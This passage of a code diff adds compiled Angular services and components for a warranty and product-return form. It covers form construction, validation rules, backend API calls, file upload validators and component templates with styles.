+            const serialsForm = lineForm.get("serialNumbers");
+            serialsForm.controls.forEach(x => x.get("isVisible").setValue(false));
+            serialsForm.controls.filter(c => c.get("serial").value.includes(result))
+                .forEach(x => x.get("isVisible").setValue(true));
+        });
+        const checked = orderLine.serialNumber.length === 1 || (orderLine.serialNumber.length > 1 && !config.isWarranty);
+        const serialControl = lineForm.get('serialNumbers');
+        orderLine.serialNumber.forEach(sn => {
+            const serialForm = new FormGroup({
+                isChecked: new FormControl(checked),
+                isVisible: new FormControl(true),
+                serial: new FormControl(sn)
+            });
+            serialControl.push(serialForm);
+        });
+    }
+    subscribeQunatityValueChanges(lineForm, orderLine) {
+        lineForm.get("quantity").valueChanges
+            .pipe(debounceTime(200), takeUntil(this.destroy$))
+            .subscribe(result => this.updateQuantity(lineForm, orderLine, result));
+    }
+    updateQuantity(lineForm, orderLine, quantityValue) {
+        const quantity = lineForm.get("quantity");
+        const returnReson = lineForm.get("info").get("reasonProductReturn").value;
+        if (returnReson.localizeVar === RuleOptionEnum.ruleOptDOA) {
+            if (quantityValue > 1) {
+                quantity.setValue(1);
+            }
+        }
+        else if (quantityValue < 0) {
+            quantity.setValue(0);
+        }
+        else if (quantityValue > orderLine.quantity) {
+            quantity.setValue(orderLine.quantity);
+        }
+        else {
+            const v = +quantityValue;
+            if (quantityValue.toString().length !== v.toString().length) {
+                quantity.setValue(v);
+            }
+        }
+    }
+    addRemoveAlternativeContactForm(form, add) {
+        if (add) {
+            const alternativeContact = new FormGroup({
+                name: new FormControl('', [Validators.required, Validators.maxLength(50)]),
+                role: new FormControl('', [Validators.maxLength(50)]),
+                address: new FormControl('', [Validators.required, Validators.maxLength(200)]),
+                zipCode: new FormControl('', [Validators.required, Validators.maxLength(50)]),
+                city: new FormControl('', [Validators.required, Validators.maxLength(50)]),
+                email: new FormControl('', [Validators.required, Validators.maxLength(100),
+                    customPatternValidator(/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/, "wf.emailformat")]),
+                phone: new FormControl('', [Validators.required, Validators.maxLength(50),
+                    customPatternValidator(/^\d*$/, "wf.phoneformat")])
+            });
+            form.addControl("alternativeContact", alternativeContact);
+        }
+        else if (form.contains("alternativeContact")) {
+            form.removeControl("alternativeContact");
+        }
+    }
+    createInfoForm() {
+        return new FormGroup({
+            vendor: new FormControl('', Validators.required),
+            category: new FormControl('', Validators.required),
+            reasonProductReturn: new FormControl('', Validators.required),
+            reqFieldsList: new FormControl([]),
+            reqFields: new FormGroup({})
+        });
+    }
+    createCustomerDetailsForm() {
+        const customerDetails = new FormGroup({
+            customerName: new FormControl('', [Validators.required, Validators.maxLength(100)]),
+            customerNumber: new FormControl('', [Validators.required, Validators.maxLength(50)]),
+            customerAddress: new FormControl('', [Validators.required, Validators.maxLength(200)]),
+            customerReference: new FormControl('', [Validators.maxLength(50)]),
+            firstName: new FormControl('', [Validators.required, Validators.maxLength(50)]),
+            lastName: new FormControl('', [Validators.required, Validators.maxLength(50)]),
+            email: new FormControl('', [Validators.required, Validators.maxLength(100),
+                customPatternValidator(/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/, "wf.emailformat")]),
+            phone: new FormControl('', [Validators.required, Validators.maxLength(50),
+                customPatternValidator(/^\d*$/, "wf.phoneformat")]),
+            location: new FormControl('', [Validators.required, Validators.maxLength(200)]),
+            contactPreference: new FormControl('', [Validators.required, Validators.maxLength(200)]),
+        });
+        return customerDetails;
+    }
+    onDestroy() {
+        this.destroy$.next(true);
+        this.destroy$.unsubscribe();
+    }
+}
+WarrantyFormService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
+WarrantyFormService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormService, decorators: [{
+            type: Injectable,
+            args: [{
+                    providedIn: 'root'
+                }]
+        }] });
+
+class WarrantyValidationService {
+    displayDeliveryDate(infoForm, component) {
+        if (infoForm.contains("deliveryDate")) {
+            switch (component.reason.localizeVar) {
+                case RuleOptionEnum.purchaseErrorDK:
+                case RuleOptionEnum.notWorkOnDelivery:
+                case RuleOptionEnum.discoveredWhenOpened:
+                case RuleOptionEnum.cargoGoodsAvailable:
+                    return true;
+            }
+        }
+        return false;
+    }
+    deliveryDateIsValid(infoForm, component) {
+        if (this.displayDeliveryDate(infoForm, component)) {
+            if (infoForm.value.deliveryDate) {
+                switch (component.reason.localizeVar) {
+                    case RuleOptionEnum.purchaseErrorDK:
+                    case RuleOptionEnum.notWorkOnDelivery:
+                    case RuleOptionEnum.discoveredWhenOpened:
+                    case RuleOptionEnum.cargoGoodsAvailable:
+                        const dayLimit = 8;
+                        const deliveryDate = new Date(infoForm.value.deliveryDate);
+                        deliveryDate.setHours(0, 0, 0, 0);
+                        deliveryDate.setDate(deliveryDate.getDate() + dayLimit);
+                        const todayDate = new Date(new Date().setHours(0, 0, 0, 0));
+                        return deliveryDate >= todayDate;
+                }
+            }
+            return false;
+        }
+        return true;
+    }
+    displayPackageOpenedDisclaimer(infoForm, warrantyData) {
+        if (infoForm.contains("deliveryDate") &&
+            infoForm.get("deliveryDate").valid) {
+            return Object.keys(infoForm.controls).some(key => {
+                if (key.startsWith("node-")) {
+                    const selectedOption = infoForm.get(key).value;
+                    if (selectedOption && !Array.isArray(selectedOption)) {
+                        const ruleOption = warrantyData.getRuleOption(selectedOption);
+                        return ruleOption.localizeVar === RuleOptionEnum.usedCondition;
+                    }
+                }
+                return false;
+            });
+        }
+        return false;
+    }
+    returnReasonIsValid(config, ruleOption, orderLineIndex) {
+        var _a;
+        if (config.defConfig.country === CountriesEnum.DK
+            && config.defConfig.caseType === CaseTypeEnum.Return
+            && (ruleOption === null || ruleOption === void 0 ? void 0 : ruleOption.localizeVar) === RuleOptionEnum.purchaseErrorDK) {
+            return (!isNaN((_a = config.defData.orderLines[orderLineIndex]) === null || _a === void 0 ? void 0 : _a.amount) && (config.defData.orderLines[orderLineIndex].quantity * Number(config.defData.orderLines[orderLineIndex].amount) <= 400)) ? false : true;
+        }
+        return true;
+    }
+    isValidForm(mainForm) {
+        const lines = mainForm.get("lines");
+        let isValid = lines.controls.some(l => l.value.isChecked);
+        if (!isValid)
+            return false;
+        isValid = lines.controls.every(l => {
+            if (l.value.isChecked) {
+                if (l.valid) {
+                    const info = l.get("info");
+                    const reqFields = info.get("reqFields");
+                    if (Object.keys(reqFields.controls).length > 0) {
+                        return true;
+                    }
+                }
+                return false;
+            }
+            return true;
+        });
+        return isValid;
+    }
+    isValidSubmit(mainForm, sending) {
+        let isValid = !sending;
+        if (isValid)
+            isValid = this.isValidForm(mainForm);
+        if (isValid && mainForm.contains("customerDetails"))
+            isValid = mainForm.get("customerDetails").valid;
+        if (isValid && mainForm.contains("alternativeContact"))
+            isValid = mainForm.get("customerDetails").valid;
+        if (isValid)
+            isValid = mainForm.get("sendConfirmationEmailEnabled").valid;
+        if (isValid)
+            isValid = mainForm.get("alternativeContactEnabled").valid;
+        if (isValid)
+            isValid = mainForm.get("agreeThatInfoIsCorrect").valid;
+        if (isValid && mainForm.contains("agreeToDataPrivacyPolicy"))
+            isValid = mainForm.get("agreeToDataPrivacyPolicy").valid;
+        return isValid;
+    }
+}
+WarrantyValidationService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyValidationService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
+WarrantyValidationService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyValidationService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyValidationService, decorators: [{
+            type: Injectable,
+            args: [{
+                    providedIn: 'root'
+                }]
+        }] });
+
+class WarrantyService {
+    constructor(http, configService) {
+        this.http = http;
+        this.configService = configService;
+    }
+    initService() {
+        this.url = this.configService.getConfig().defConfig.url;
+        this.country = this.configService.getConfig().defConfig.country;
+        this.locale = this.configService.getConfig().defConfig.locale;
+    }
+    getVendorList() {
+        const options = this.configService.getHttpOptions();
+        return this.http.get(this.url + 'vendors?country=' + this.country + '&locale=' + this.locale, options);
+    }
+    getCategoryList() {
+        return this.http.get(this.url + 'producttypes?country=' + this.country + '&locale=' + this.locale, this.getOptions());
+    }
+    getVendorProducts() {
+        return this.http.get(this.url + 'vendorproducts?country=' + this.country + '&locale=' + this.locale, this.getOptions());
+    }
+    getRuleVendorProducts() {
+        return this.http.get(this.url + 'ruleVendorProducts?country=' + this.country, this.getOptions());
+    }
+    getRuleOptions(caseType) {
+        return this.http.get(this.url + 'ruleOptions?country=' + this.country + '&casetype=' + caseType, this.getOptions());
+    }
+    getVendorProductLimits(vendorProductId) {
+        return this.http.get(this.url + 'getLimitData?vendorProductId=' + vendorProductId + '&country=' + this.country + '&locale=' + this.locale, this.getOptions());
+    }
+    getRequiredFields() {
+        return this.http.get(this.url + 'requiredFields?country=' + this.country + '&locale=' + this.locale, this.getOptions());
+    }
+    getHelpMessage(jointId, vendorProductId) {
+        return this.http.get(this.url + 'getHelpMessage?country=' + this.country + '&locale=' + this.locale + '&jointId=' + jointId + '&vendorProductId=' + vendorProductId, this.getOptions());
+    }
+    getLocalizedItems() {
+        return this.http.get(this.url + 'locale?country=' + this.country + '&locale=' + this.locale, this.getOptions());
+    }
+    getBlackListedArticles() {
+        if (this.country === CountriesEnum.DK) {
+            return this.http.get(this.url + 'blacklisted?country=' + this.country, this.getOptions());
+        }
+        return of([]);
+    }
+    getCnetCategories() {
+        return this.http.get(this.url + 'cnetcategories?country=' + this.country + '&locale=' + this.locale, this.getOptions());
+    }
+    createCase(data) {
+        return this.http.post(`${this.url}return?country=${this.country}&locale=${this.locale}`, data, this.getOptions()).pipe(map((response) => {
+            return response.map(item => new CaseResponse(item === null || item === void 0 ? void 0 : item.caseId, item === null || item === void 0 ? void 0 : item.caseNumber, item === null || item === void 0 ? void 0 : item.caseSource));
+        }));
+    }
+    getOptions() {
+        return this.configService.getHttpOptions();
+    }
+}
+WarrantyService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyService, deps: [{ token: i1.HttpClient }, { token: ConfigService }], target: i0.ɵɵFactoryTarget.Injectable });
+WarrantyService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyService, decorators: [{
+            type: Injectable,
+            args: [{
+                    providedIn: 'root'
+                }]
+        }], ctorParameters: function () { return [{ type: i1.HttpClient }, { type: ConfigService }]; } });
+
+class FormHeaderComponent {
+}
+FormHeaderComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FormHeaderComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+FormHeaderComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: FormHeaderComponent, selector: "form-header", inputs: { configuration: "configuration" }, ngImport: i0, template: "<div class=\"header\">\r\n  <div class=\"header--item\">\r\n    <span class=\"header--item-title\">{{'wf.ordernumber' | translate}}</span>\r\n    <span class=\"header--item-info\">{{configuration?.defData?.orderNumber}}</span>\r\n  </div>\r\n  <div class=\"header--item\">\r\n    <span class=\"header--item-title\">{{'wf.reference' | translate}}</span>\r\n    <span class=\"header--item-info\">{{configuration?.defData?.customerDetails?.customerReference}}</span>\r\n  </div>\r\n  <div class=\"header--item\">\r\n    <span class=\"header--item-title\">{{'wf.company' | translate}}</span>\r\n    <span class=\"header--item-info\">{{configuration?.defData?.customerDetails?.customerName}}</span>\r\n  </div>\r\n  <div class=\"header--item\">\r\n    <span class=\"header--item-title\">{{'wf.customernumber' | translate}}</span>\r\n    <span class=\"header--item-info\">{{configuration?.defData?.customerDetails?.customerNumber}}</span>\r\n  </div>\r\n</div>\r\n\r\n", styles: [".header{display:flex;width:100%;padding:20px 0 25px;border-bottom:1px solid var(--color-grey-80-light)}.header--item{display:flex;flex-direction:column;width:25%;margin:0 5px}.header--item-title{text-transform:uppercase;font-size:.75rem;color:var(--color-grey-20-light);margin:15px 0 0}.header--item-info{font-size:.875rem;line-height:165%;font-weight:600;color:var(--color-grey-40-dark);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}\n"], pipes: { "translate": i4.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FormHeaderComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'form-header',
+                    templateUrl: './form-header.component.html',
+                    styleUrls: ['./form-header.component.scss']
+                }]
+        }], propDecorators: { configuration: [{
+                type: Input
+            }] } });
+
+class WarrantyProductsComponent {
+    constructor() {
+        this.CaseTypeEnum = CaseTypeEnum;
+        this.loading$ = new BehaviorSubject(true);
+        this.orderLines = [];
+        this.serialsSelectAll = true;
+        this.warrantyForm = new FormGroup({});
+    }
+    serialNumbers(lineForm) {
+        return lineForm.get('serialNumbers');
+    }
+    displaySerialsNotFound(form) {
+        return !form.value.serialNumbers.some(i => i.isVisible);
+    }
+    onSerialNumberChecked(form, value) {
+        const serials = form.get("serialNumbers");
+        if (this.configuration.isWarranty) {
+            const checkedValueIndex = serials.value.findIndex((sn) => sn.serial !== value && sn.isChecked);
+            if (checkedValueIndex != -1) {
+                serials.at(checkedValueIndex).get("isChecked").setValue(false);
+            }
+        }
+        else {
+            const allSelected = serials.value.every(sn => sn.isChecked);
+            form.get("serialNumbersSelectAll").setValue(allSelected);
+        }
+    }
+    onSerialsSelectAllChecked(form) {
+        const checked = form.get("serialNumbersSelectAll").value;
+        const serials = form.get("serialNumbers");
+        serials.controls.forEach(c => c.get("isChecked").setValue(checked));
+    }
+    onReturnAllChecked() {
+        const checked = this.warrantyForm.get("returnAllItems").value;
+        this.lines.controls.forEach(c => c.get("isChecked").setValue(checked));
+    }
+    displayTypeTotalAmountAll(i) {
+        return this.orderLines[i].quantity > 1;
+    }
+    updateQuantityToAll(form, i) {
+        const quantity = form.get("quantity");
+        quantity.setValue(this.orderLines[i].quantity);
+    }
+    checkedLinesCount() {
+        if (this.warrantyForm.value.lines) {
+            return this.warrantyForm.value.lines.reduce((acc, cur) => cur.isChecked ? ++acc : acc, 0);
+        }
+        return 0;
+    }
+    orderlineIsValid(line, articles) {
+        if (!this.configuration.OrderIsNull) {
+            if (line) {
+                if (this.configuration.isCompletedOrderCase) {
+                    return !articles.includes(line.itemNo);
+                }
+                return true;
+            }
+        }
+        return false;
+    }
+    formHasControl(controlName) {
+        return this.warrantyForm.contains(controlName);
+    }
+    openCard(form, index) {
+        const isChecked = form.get("isChecked");
+        if (!form.value.isActive) {
+            isChecked.setValue(true);
+        }
+    }
+    lineFormIsValid(form) {
+        if (!form.valid)
+            return false;
+        const info = form.get("info");
+        const reqFields = info.get("reqFields");
+        if (Object.keys(reqFields.controls).length > 0) {
+            return true;
+        }
+        return false;
+    }
+}
+WarrantyProductsComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyProductsComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+WarrantyProductsComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantyProductsComponent, selector: "warranty-products", inputs: { configuration: "configuration", orderLines: "orderLines", warrantyForm: "warrantyForm", lines: "lines" }, ngImport: i0, template: "<h3>\r\n  {{configuration.titleProductForm | translate}}\r\n  <span *ngIf=\"configuration.isCompletedOrderCase\">\r\n    ({{checkedLinesCount()}})\r\n  </span>\r\n</h3>\r\n\r\n<div class=\"form-container\"\r\n     [formGroup]=\"warrantyForm\">\r\n\r\n  <div class=\"return__products--item card\"\r\n       *ngIf=\"configuration.OrderIsNull\">\r\n    <ad-text [required]=\"false\"\r\n             [maxlength]=\"50\"\r\n             formControlName=\"serialNumber\">\r\n      {{'wf.serialnumber'|translate}}\r\n    </ad-text>\r\n\r\n    <ad-text *ngIf=\"configuration.defConfig.isAnonymous\"\r\n             [required]=\"false\"\r\n             [maxlength]=\"50\"\r\n             formControlName=\"productNumber\">\r\n      {{'wf.productNumber'|translate}}\r\n    </ad-text>\r\n\r\n    <ad-text *ngIf=\"configuration.defConfig.isAnonymous\"\r\n             [required]=\"false\"\r\n             [maxlength]=\"50\"\r\n             formControlName=\"productDescription\">\r\n      {{'wf.productModel'|translate}}\r\n    </ad-text>\r\n  </div>\r\n\r\n  <div\r\n       *ngIf=\"configuration.returnWithSameReason && formHasControl('returnAllItems')\">\r\n    <ad-checkbox formControlName=\"returnAllItems\">\r\n      {{\"wf.returnWithSameReason\"|translate}}\r\n    </ad-checkbox>\r\n  </div>\r\n\r\n  <div formArrayName=\"lines\"\r\n       *ngIf=\"lines\">\r\n\r\n    <div class=\"return__products--item\"\r\n         [ngClass]=\"{'active': lineForm.value.isActive, \r\n          'formIncomplete' : lineForm.value.isChecked && !lineFormIsValid(lineForm), \r\n          'formComplete': lineForm.value.isChecked && lineFormIsValid(lineForm) }\"\r\n         *ngFor=\"let lineForm of lines.controls; index as i\"\r\n         [formGroupName]=\"i\">\r\n      <div class=\"product-info\">\r\n        <ad-checkbox *ngIf=\"configuration.isCompletedOrderCase\"\r\n                     formControlName=\"isChecked\"></ad-checkbox>\r\n\r\n        <div class=\"item__header\"\r\n             (click)=\"openCard(lineForm, i)\">\r\n          <span class=\"item__header--title\">{{lineForm.value.productDescription}}</span>\r\n          <span class=\"subtitle\"\r\n                *ngIf=\"lineForm.value.serialNumbers?.length > 0\">\r\n            <span\r\n                  *ngIf=\"configuration.isWarranty && lineForm.value.serialNumbers?.length > 1\">{{'wf.chooseserialnumberwarranty'|translate}}</span>\r\n            <span *ngIf=\"!configuration.isWarranty\">{{\"wf.chooseserialnumber\"|translate}}</span>\r\n          </span>\r\n          <span class=\"subtitle\"\r\n                *ngIf=\"!lineForm.value.serialNumbers || lineForm.value.serialNumbers.length === 0\">{{'wf.typetotalamount'|translate}}</span>\r\n        </div>\r\n      </div>\r\n\r\n      <div *ngIf=\"lineForm.value.isActive\"\r\n           class=\"item__list\">\r\n        <div *ngIf=\"lineForm.value.serialNumbers?.length > 0\">\r\n          <ad-text *ngIf=\"configuration.isWarranty && lineForm.value.serialNumbers.length > 20\"\r\n                   formControlName=\"serialNumbersSearch\"\r\n                   type=\"text\">\r\n            {{\"wf.enterserialnumber\"|translate}}\r\n          </ad-text>\r\n          <span *ngIf=\"displaySerialsNotFound(lineForm)\">{{\"wf.noserialnumberfound\"|translate}}</span>\r\n\r\n          <ad-checkbox class=\"select-all\"\r\n                       *ngIf=\"!configuration.isWarranty\"\r\n                       formControlName=\"serialNumbersSelectAll\"\r\n                       (change)=\"onSerialsSelectAllChecked(lineForm)\">\r\n            {{\"wf.selectallserial\"|translate}}\r\n          </ad-checkbox>\r\n\r\n          <div formArrayName=\"serialNumbers\">\r\n            <div *ngFor=\"let serialForm of serialNumbers(lineForm).controls; index as j\"\r\n                 [formGroupName]=\"j\">\r\n              <ad-checkbox *ngIf=\"serialForm.value.isVisible\"\r\n                           [disabled]=\"configuration.isWarranty && lineForm.value.serialNumbers.length === 1\"\r\n                           (change)=\"onSerialNumberChecked(lineForm, serialForm.value.serial)\"\r\n                           formControlName=\"isChecked\">\r\n                {{serialForm.value.serial}}\r\n              </ad-checkbox>\r\n            </div>\r\n          </div>\r\n        </div>\r\n\r\n        <div *ngIf=\"!(lineForm.value.serialNumbers?.length > 0)\"\r\n             class=\"total__amount\">\r\n          <ad-text class=\"field\"\r\n                   [required]=\"false\"\r\n                   type=\"number\"\r\n                   [maxlength]=\"5\"\r\n                   formControlName=\"quantity\">\r\n          </ad-text>\r\n          <ad-button *ngIf=\"displayTypeTotalAmountAll(i)\"\r\n                     size=\"small\"\r\n                     variant=\"primary\"\r\n                     (onClick)=\"updateQuantityToAll(lineForm, i)\">\r\n            {{\"wf.all\"|translate}}\r\n          </ad-button>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}h3{font-size:1.1666666667rem;letter-spacing:-.05859375rem;margin:20px 0;color:#3e464a;line-height:1.25em;font-weight:400}.return__products--item{width:100%;display:flex;flex-direction:column;border:1px solid #edeeef;box-shadow:0 2px 8px #4d575d1a;margin:13px 0;animation:fadeIn .4s;transition:height .2s;overflow:auto}.return__products--item .item__list{width:100%;display:flex;flex-direction:column;margin:0 0 10px;opacity:0}.return__products--item.active{height:auto}.return__products--item.active .item__list{opacity:1;pointer-events:auto;padding:12px 40px}.return__products--item.active .item__list .select-all{margin:0}.return__products--item.active .item__list .subtitle{font-size:.8125rem;color:#71797d;margin:6px 0 0}.return__products--item.formIncomplete{border-left:3px solid #d62429}.return__products--item.formComplete{border-left:3px solid #008a00}.return__products--item .item__header{display:flex;flex-direction:column;padding:12px 40px;width:100%}.return__products--item .item__header--title{font-size:.875rem;font-weight:600;line-height:140%}.return__products--item .item__header .subtitle{font-size:.8125rem;color:#71797d;margin:6px 0 0}.return__products--item .field{max-width:80px;margin-bottom:15px;margin-right:20px}.return__products--item .product-info{display:flex}.return__products--item .product-info ad-checkbox{width:5px;margin-left:20px;margin-top:15px}.return__products--item:hover{background-color:#f8f8f9;cursor:pointer}.return__products--item:hover.active{cursor:auto}.card{position:relative;display:flex;width:100%;background-color:#fff;box-shadow:0 2px 10px #4d575d26;border-radius:4px;margin:10px 0;transition:background-color .2s,border-left-color .3s,transform .2s;padding:20px 10px 20px 7px;border-left:solid 3px transparent}.total__amount{display:flex}\n"], components: [{ type: i1$1.TextInputComponent, selector: "ad-text", inputs: ["type", "variant", "disabled", "placeholder"] }, { type: i1$1.ToggleCheckboxComponent, selector: "ad-checkbox", inputs: ["id", "disabled"] }, { type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }, { type: i3.RequiredValidator, selector: ":not([type=checkbox])[required][formControlName],:not([type=checkbox])[required][formControl],:not([type=checkbox])[required][ngModel]", inputs: ["required"] }, { type: i3.MaxLengthValidator, selector: "[maxlength][formControlName],[maxlength][formControl],[maxlength][ngModel]", inputs: ["maxlength"] }, { type: i3.FormArrayName, selector: "[formArrayName]", inputs: ["formArrayName"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i2.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }, { type: i3.FormGroupName, selector: "[formGroupName]", inputs: ["formGroupName"] }], pipes: { "translate": i4.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyProductsComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'warranty-products',
+                    templateUrl: './warranty-products.component.html',
+                    styleUrls: ['./warranty-products.component.scss']
+                }]
+        }], ctorParameters: function () { return []; }, propDecorators: { configuration: [{
+                type: Input
+            }], orderLines: [{
+                type: Input
+            }], warrantyForm: [{
+                type: Input
+            }], lines: [{
+                type: Input
+            }] } });
+
+var HelpMessageTypeEnum;
+(function (HelpMessageTypeEnum) {
+    HelpMessageTypeEnum[HelpMessageTypeEnum["Default"] = 0] = "Default";
+    HelpMessageTypeEnum[HelpMessageTypeEnum["DisclaimerDk"] = 1] = "DisclaimerDk";
+    HelpMessageTypeEnum[HelpMessageTypeEnum["BelowAdmFee"] = 2] = "BelowAdmFee";
+    HelpMessageTypeEnum[HelpMessageTypeEnum["ReturnLapsed"] = 3] = "ReturnLapsed";
+    HelpMessageTypeEnum[HelpMessageTypeEnum["OpenedPackage"] = 4] = "OpenedPackage";
+})(HelpMessageTypeEnum || (HelpMessageTypeEnum = {}));
+
+class LocalizedItem {
+    constructor(id, text, locale, varFriendlyName, optionId) {
+        this.id = id;
+        this.text = text;
+        this.locale = locale;
+        this.varFriendlyName = varFriendlyName;
+        this.optionId = optionId;
+    }
+}
+
+function maxFilesValidator(maxFiles) {
+    return (control) => {
+        if (control.value) {
+            return control.value.length > maxFiles ? { maxFiles: maxFiles } : null;
+        }
+        return null;
+    };
+}
+
+function maxFileSizeValidator(maxSize) {
+    return (control) => {
+        if (control.value) {
+            const files = [...control.value].filter(s => s.size > maxSize * 1024 * 1024);
+            return files.length > 0 ? { maxFileSize: maxSize } : null;
+        }
+        return null;
+    };
+}
+
+function fileTypeNotSupportedValidator(supportedFileTypes) {
+    return (control) => {
+        if (control.value) {
+            const lowercaseTypes = supportedFileTypes.map(t => t.toLowerCase());
+            const files = [...control.value];
+            for (let file of files) {
+                const fileName = file.name.split('.');
+                if (fileName.length > 1) {
+                    const ext = `.${fileName.pop().toLowerCase()}`;
+                    if (!lowercaseTypes.includes(ext)) {
+                        return { fileTypeNotSupported: { supportedTypes: supportedFileTypes } };
+                    }
+                }
+                else {
+                    return { fileTypeNotSupported: { supportedTypes: supportedFileTypes } };
+                }
+            }
+        }
+        return null;
+    };
+}
+
+class HelpMessageComponent {
+    constructor() {
+        this.messages = [];
+        this.messageType = HelpMessageTypeEnum.Default;
+    }
+    get HelpMessageTypeEnum() {
+        return HelpMessageTypeEnum;
+    }
+    displayMessage() {
+        switch (this.messageType) {
+            case HelpMessageTypeEnum.DisclaimerDk:
+                return this.displayDenmarkDisclaimer();
+            case HelpMessageTypeEnum.BelowAdmFee:
+            case HelpMessageTypeEnum.ReturnLapsed:
+            case HelpMessageTypeEnum.OpenedPackage:
+                return true;
+            default:
+                return false;
+        }
+    }
+    displayDenmarkDisclaimer() {
+        if (!this.configuration.OrderIsNull &&
+            this.parentForm &&
+            this.parentForm.value.vendor &&
+            this.parentForm.value.category &&
+            this.configuration.defConfig.country === CountriesEnum.DK &&
+            !this.configuration.isWarranty) {
+            return true;
+        }
+        return false;
+    }
+}
+HelpMessageComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: HelpMessageComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+HelpMessageComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: HelpMessageComponent, selector: "help-message", inputs: { configuration: "configuration", parentForm: "parentForm", message: "message", messages: "messages", messageType: "messageType" }, ngImport: i0, template: "<div class=\"help__message\" *ngIf=\"message && displayMessage()\">\r\n  <div class=\"help__message--item\">\r\n      <div [innerHtml]=\"message | translate\"></div>\r\n  </div>\r\n</div>  \r\n\r\n<div class=\"help__message\" *ngIf=\"messages?.length > 0\">\r\n  <div class=\"help__message--item\"\r\n       *ngFor=\"let msg of messages\">\r\n      <div [innerHtml]=\"msg.text\"></div>\r\n  </div>\r\n</div>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: 